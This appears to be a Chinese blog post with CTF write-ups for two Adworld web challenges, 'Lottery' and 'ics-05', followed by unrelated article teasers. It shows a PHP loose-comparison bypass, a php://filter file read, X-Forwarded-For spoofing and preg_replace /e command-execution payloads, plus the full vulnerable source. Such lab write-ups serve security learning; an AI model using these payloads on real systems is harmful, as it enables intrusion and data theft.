双剑破天门:攻防世界Web题解之独孤九剑心法(十)

双剑破天门:攻防世界Web题解之独孤九剑心法(十)

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


**本文以攻防世界部分题为例进行演示,后续会对攻防世界大部分的web题目进行演示,如果你感兴趣请关注**


目录

一:Lottery

二:ics-05

三:总结


一:Lottery

打开后发现这个靶场加载异常缓慢,然后他还给了源码,我们先不看源码先熟悉一下这个网站是什么

这应该是一个类似猜数字游戏,选对7个号码即可得到相应奖励

然后注册

随便输入7个数字发现一个也没中,白费2元

然后我们随便点击这个网站的功能发现如果想要flag需要有相对应的余额

我们这会的思路就是利用bp抓包看看能不能修改我们的余额

好像成功了,我们试一试能不能换flag

居然说没有足够的钱,这个方法不行只要将页面上的数字修改只要刷新就会变回原来的余额

居然不能修改余额那就看看在猜数字的页面有没有突破口,发现其访问了api.php我们继续代码审计

看到如下核心代码,首先随机生成七位数字(random_win_nums)然后将其赋值给$win_number。随后关键点就是他使用的是两个等号来判断我们传入的数字和随机生成的数字,既然这样那直接可以利用true绕过,因为不检查类型


代码如下

//部分代码 function random_num(){ do { $byte = openssl_random_pseudo_bytes(10, $cstrong); $num = ord($byte); } while ($num >= 250); if(!$cstrong){ response_error('server need be checked, tell admin'); } $num /= 25; return strval(floor($num)); } function random_win_nums(){ $result = ''; for($i=0; $i<7; $i++){ $result .= random_num(); } return $result; } function buy($req){ require_registered(); require_min_money(2); $money = $_SESSION['money']; $numbers = $req['numbers']; $win_numbers = random_win_nums(); $same_count = 0; for($i=0; $i<7; $i++){ if($numbers[$i] == $win_numbers[$i]){ $same_count++; } } switch ($same_count) { case 2: $prize = 5; break; case 3: $prize = 20; break; case 4: $prize = 300; break; case 5: $prize = 1800; break; case 6: $prize = 200000; break; case 7: $prize = 5000000; break; default: $prize = 0; break; } $money += $prize - 2; $_SESSION['money'] = $money; response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]); } 

抓到其流量包我们拦截回应包修改

利用php的弱类型比较

直接将numbers字段改为[true,true,true,true,true,true,true]

成功利用弱类型得到奖金

成功拿到flag


二:ics-05

打开如下所示

随便点击发现只有此页面可打开,但是好像什么都没有,我们打开页面源代码查看一下

发现一个href可点

打开如下,好像没什么特别的

我们修改其为index.php回显ok,既然这样那么如果我们能够读取到这个index.php应该就可以拿到flag

读取文件使用伪协议

php://filter/read=convert.base64-encode/resource=index.php

复制这个base64然后解密

打开代码后观察如下代码

如果ip为127.0.0.1就是admin,然后还有一个preg_replace方法,pattern第一个参数的结尾包含了/e修正符的话,第二个参数就会被当做php代码执行

打开bp,修改ip后为admin

然后添加三个参数

?pat=/heihei/e&rep=system('find+-name+*flag*')&sub=heihei

需要使用+置换空格 得到flag.php

成功拿到flag但注意flag不在页面渲染中显示

?pat=/heihei/e&rep=system('cat+./s3chahahaDir/flag/flag.php')&sub=heihei

解密后的index.php代码

<?php error_reporting(0); @session_start(); posix_setuid(1000); ?> <!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <meta name="renderer" content="webkit"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <link rel="stylesheet" href="layui/css/layui.css" media="all"> <title>设备维护中心</title> <meta charset="utf-8"> </head> <body> <ul> <li><a href="?page=index">云平台设备维护中心</a></li> </ul> <fieldset> <legend>设备列表</legend> </fieldset> <table></table> <script type="text/html"> <!-- 这里的 checked 的状态只是演示 --> <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}> </script> <script src="layui/layui.js" charset="utf-8"></script> <script> layui.use('table', function() { var table = layui.table, form = layui.form; table.render({ elem: '#test', url: '/somrthing.json', cellMinWidth: 80, cols: [ [ { type: 'numbers' }, { type: 'checkbox' }, { field: 'id', title: 'ID', width: 100, unresize: true, sort: true }, { field: 'name', title: '设备名', templet: '#nameTpl' }, { field: 'area', title: '区域' }, { field: 'status', title: '维护状态', minWidth: 120, sort: true }, { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true } ] ], page: true }); }); </script> <script> layui.use('element', function() { var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块 //监听导航点击 element.on('nav(demo)', function(elem) { //console.log(elem) layer.msg(elem.text()); }); }); </script> <?php $page = $_GET[page]; if (isset($page)) { if (ctype_alnum($page)) { ?> <br /><br /><br /><br /> <div> <p><?php echo $page; die();?></p> <br /><br /><br /><br /> <?php }else{ ?> <br /><br /><br /><br /> <div> <p> <?php if (strpos($page, 'input') > 0) { die(); } if (strpos($page, 'ta:text') > 0) { die(); } if (strpos($page, 'text') > 0) { die(); } if ($page === 'index.php') { die('Ok'); } include($page); die(); ?> </p> <br /><br /><br /><br /> <?php }} //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?> </body> </html>

三:总结

本文通过攻防世界中的两个Web题目(Lottery和ics-05)演示了如何利用代码审计和漏洞挖掘技术获取flag。在Lottery题目中,通过分析网站的猜数字游戏功能,发现使用PHP的弱类型比较漏洞,成功绕过验证并获取奖金和flag。在ics-05题目中,通过修改IP地址和利用PHP的preg_replace函数执行系统命令,成功读取并解密index.php文件,最终获取flag。


(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

Read more

人工智能:自然语言处理在医疗健康领域的应用与实战

人工智能:自然语言处理在医疗健康领域的应用与实战

人工智能:自然语言处理在医疗健康领域的应用与实战 学习目标 💡 理解自然语言处理(NLP)在医疗健康领域的应用场景和重要性 💡 掌握医疗健康领域NLP应用的核心技术(如电子病历分析、医学文本分类、疾病预测) 💡 学会使用前沿模型(如BERT、GPT-3)进行医疗健康文本分析 💡 理解医疗健康领域的特殊挑战(如医学术语、数据隐私、数据质量) 💡 通过实战项目,开发一个电子病历分析应用 重点内容 * 医疗健康领域NLP应用的主要场景 * 核心技术(电子病历分析、医学文本分类、疾病预测) * 前沿模型(BERT、GPT-3)在医疗健康领域的使用 * 医疗健康领域的特殊挑战 * 实战项目:电子病历分析应用开发 一、医疗健康领域NLP应用的主要场景 1.1 电子病历分析 1.1.1 电子病历分析的基本概念 电子病历分析是对电子病历文本进行分析和处理的过程。在医疗健康领域,电子病历分析的主要应用场景包括: * 病历结构化:将非结构化的电子病历文本转换为结构化数据 * 病历检索:检索相关的电子病历 * 病历质量评估:

AI入门系列:AI新手必看:人工智能发展历程与现状分析

AI入门系列:AI新手必看:人工智能发展历程与现状分析

写在前面:为什么AI发展历史很重要? 记得刚开始学习AI的时候,我总觉得历史这种东西很枯燥,不如直接学习最新的技术来得实在。但后来我发现,了解AI的发展历程,就像了解一个人的成长经历一样,能帮助我们更好地理解现在的AI是如何走到今天的,也能帮助我们预测未来可能的发展方向。 有一次,我和一位从事AI研究多年的教授聊天,他告诉我:"现在的学生总想直接学习深度学习,但如果不了解符号主义AI的兴衰,就无法理解为什么深度学习会成功,也无法预见它可能面临的挑战。"这句话让我深受启发。 所以,在这篇文章中,我想和大家一起回顾一下AI的发展历程,不是为了考试背诵那些枯燥的年代和事件,而是为了让我们能够站在历史的高度,更好地理解现在的AI技术,以及它在我们生活中的应用。 人工智能的诞生:一个充满想象力的开始 说起AI的诞生,我们不得不提到1956年的达特茅斯会议。这次会议被公认为人工智能学科的诞生标志。 想象一下那个场景:一群来自不同领域的顶尖科学家,包括约翰·麦卡锡、马文·明斯基、克劳德·香农等,聚集在一起,讨论着一个看似疯狂的问题:"机器能思考吗?"他们相信,只要给机器输入足够多的规则

小米 MiMo-V2 系列正式发布:国产AI大模型再掀波澜

小米 MiMo-V2 系列正式发布:国产AI大模型再掀波澜

🚀 2026年3月18日,小米全新 MiMo 系列模型正式发布!包含 MiMo-V2-Pro、MiMo-V2-Omni 和 MiMo-V2-TTS 三款重磅产品。 📌 一、MiMo-V2-Pro:面向智能体时代的基础大模型 MiMo-V2-Pro 是本次发布的旗舰产品,定位为智能体时代的基础大模型,性能直接对标全球顶级模型。 核心规格一览 规格数值总参数超过 1万亿(1T)活跃参数420亿(42B)混合注意力架构混合比例从 5:1 提升至 7:1上下文窗口最长 100万 tokens(1M)MTP层轻量级多token预测,实现快速生成 🏆 全球排名: Artificial Analysis 全球第8位,中国第2位! MiMo-V2-Pro 在全球权威模型排名中表现亮眼: * Artificial Analysis 全球排名第8位 * 中国排名第2位 * 实际体验超越 Claude Sonnet 4.6

孙珍妮AI绘画教程:用Z-Image-Turbo快速生成精美人像

孙珍妮AI绘画教程:用Z-Image-Turbo快速生成精美人像 1. 这不是普通AI画图,是“孙珍妮专属风格”的一键生成 你有没有试过输入“孙珍妮”三个字,却得到一张模糊、失真、甚至完全不像的图片?不是模型不行,而是缺了关键一环——风格锚定。 Z-Image-Turbo本身已是当前开源文生图模型中速度与质量兼顾的标杆:8步推理、1024×1024高清输出、中英双语文本渲染能力出色。但要让它稳定生成“孙珍妮”风格的人像——那种明眸皓齿、气质清冷又带点古典韵味的视觉表达——光靠通用提示词远远不够。 这就是【Z-Image-Turbo】依然似故人_孙珍妮镜像的价值所在:它不是简单套壳,而是在Z-Image-Turbo原生架构上,注入了经过精细调优的LoRA权重,专门学习并固化了孙珍妮面部结构、神态特征、光影偏好与服饰审美逻辑。你可以把它理解为给模型装上了一副“孙珍妮专用滤镜”,而且这副滤镜不降低速度、不牺牲细节、不增加部署门槛。 更重要的是,这个镜像已经完成全部工程封装:Xinference服务自动加载、Gradio界面开箱即用、无需配置CUDA环境、不用写一行启动脚本。你点开